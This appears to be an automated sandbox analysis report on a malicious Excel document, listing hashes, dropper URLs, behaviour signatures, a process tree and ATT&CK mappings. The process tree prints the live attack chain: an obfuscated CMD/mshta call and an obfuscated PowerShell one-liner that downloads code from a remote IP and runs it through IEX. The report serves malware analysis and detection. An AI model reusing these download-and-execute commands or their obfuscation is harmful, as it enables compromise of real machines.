Analysis

  • max time kernel
    56s
  • max time network
    63s
  • platform
    windows7_x64
  • resource
    win7-en-20211208
  • submitted
    28-01-2022 01:27

General

  • Target

    2022-1-28-7eced723576899b75511edb3cda5bb69.xls

  • Size

    46KB

  • MD5

    7eced723576899b75511edb3cda5bb69

  • SHA1

    c5819e9dd4863a29484f08f31979ff9ee5635d6e

  • SHA256

    b0dd275157f1e44d3a67df073c2504ccf2f9de33ffb66de6ef37d412434d4e5f

  • SHA512

    46120f22d2d203b565affbbf3619d57aa3fa5f62d78f67706677be893f7a9aa209dcb65167b0ba6ddfd8c8da6953f255d75640044968529507d97053388ad257

Score
10/10

Malware Config

Extracted

Language
hta
Source
URLs
hta.dropper

http://91.240.118.168/vvv/ppp/fe.html

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

http://91.240.118.168/vvv/ppp/fe.png

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 3 IoCs
  • Downloads MZ/PE file
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Enumerates system info in registry 2 TTPs 1 IoCs
  • Modifies Internet Explorer settings 1 TTPs 32 IoCs
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of FindShellTrayWindow 2 IoCs
  • Suspicious use of SetWindowsHookEx 3 IoCs
  • Suspicious use of WriteProcessMemory 12 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\2022-1-28-7eced723576899b75511edb3cda5bb69.xls
    1⤵
    • Enumerates system info in registry
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:1592
    • C:\Windows\SysWOW64\CMD.EXE
      CMD.EXE /c ms^hta http://91.2^40.118.1^68/vvv/ppp/f^e.ht^m^l
      2⤵
      • Process spawned unexpected child process
      • Suspicious use of WriteProcessMemory
      PID:556
      • C:\Windows\SysWOW64\mshta.exe
        mshta http://91.240.118.168/vvv/ppp/fe.html
        3⤵
        • Blocklisted process makes network request
        • Modifies Internet Explorer settings
        • Suspicious use of WriteProcessMemory
        PID:1644
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit $c1='({FdrggvdRf}{FdrggvdRf}Ne{FdrggvdRf}{FdrggvdRf}w{FdrggvdRf}-Obj{FdrggvdRf}ec{FdrggvdRf}{FdrggvdRf}t N{FdrggvdRf}{FdrggvdRf}et{FdrggvdRf}.W{FdrggvdRf}{FdrggvdRf}e'.replace('{FdrggvdRf}', ''); $c4='bC{FdrggvdRf}li{FdrggvdRf}{FdrggvdRf}en{FdrggvdRf}{FdrggvdRf}t).D{FdrggvdRf}{FdrggvdRf}ow{FdrggvdRf}{FdrggvdRf}nl{FdrggvdRf}{FdrggvdRf}{FdrggvdRf}o'.replace('{FdrggvdRf}', ''); $c3='ad{FdrggvdRf}{FdrggvdRf}St{FdrggvdRf}rin{FdrggvdRf}{FdrggvdRf}g{FdrggvdRf}(''ht{FdrggvdRf}tp{FdrggvdRf}://91.240.118.168/vvv/ppp/fe.png'')'.replace('{FdrggvdRf}', '');$JI=($c1,$c4,$c3 -Join '');I`E`X $JI|I`E`X
          4⤵
          • Blocklisted process makes network request
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:1880

Network

MITRE ATT&CK Matrix ATT&CK v6

Defense Evasion

Modify Registry

1
T1112

Discovery

System Information Discovery

2
T1082

Query Registry

1
T1012

Replay Monitor

Loading Replay Monitor...

Downloads

  • memory/1592-55-0x000000002FC31000-0x000000002FC34000-memory.dmp
    Filesize

    12KB

  • memory/1592-56-0x0000000071751000-0x0000000071753000-memory.dmp
    Filesize

    8KB

  • memory/1592-57-0x000000005FFF0000-0x0000000060000000-memory.dmp
    Filesize

    64KB

  • memory/1592-58-0x00000000758A1000-0x00000000758A3000-memory.dmp
    Filesize

    8KB

  • memory/1880-60-0x00000000023E0000-0x000000000302A000-memory.dmp
    Filesize

    12.3MB

  • memory/1880-61-0x00000000023E0000-0x000000000302A000-memory.dmp
    Filesize

    12.3MB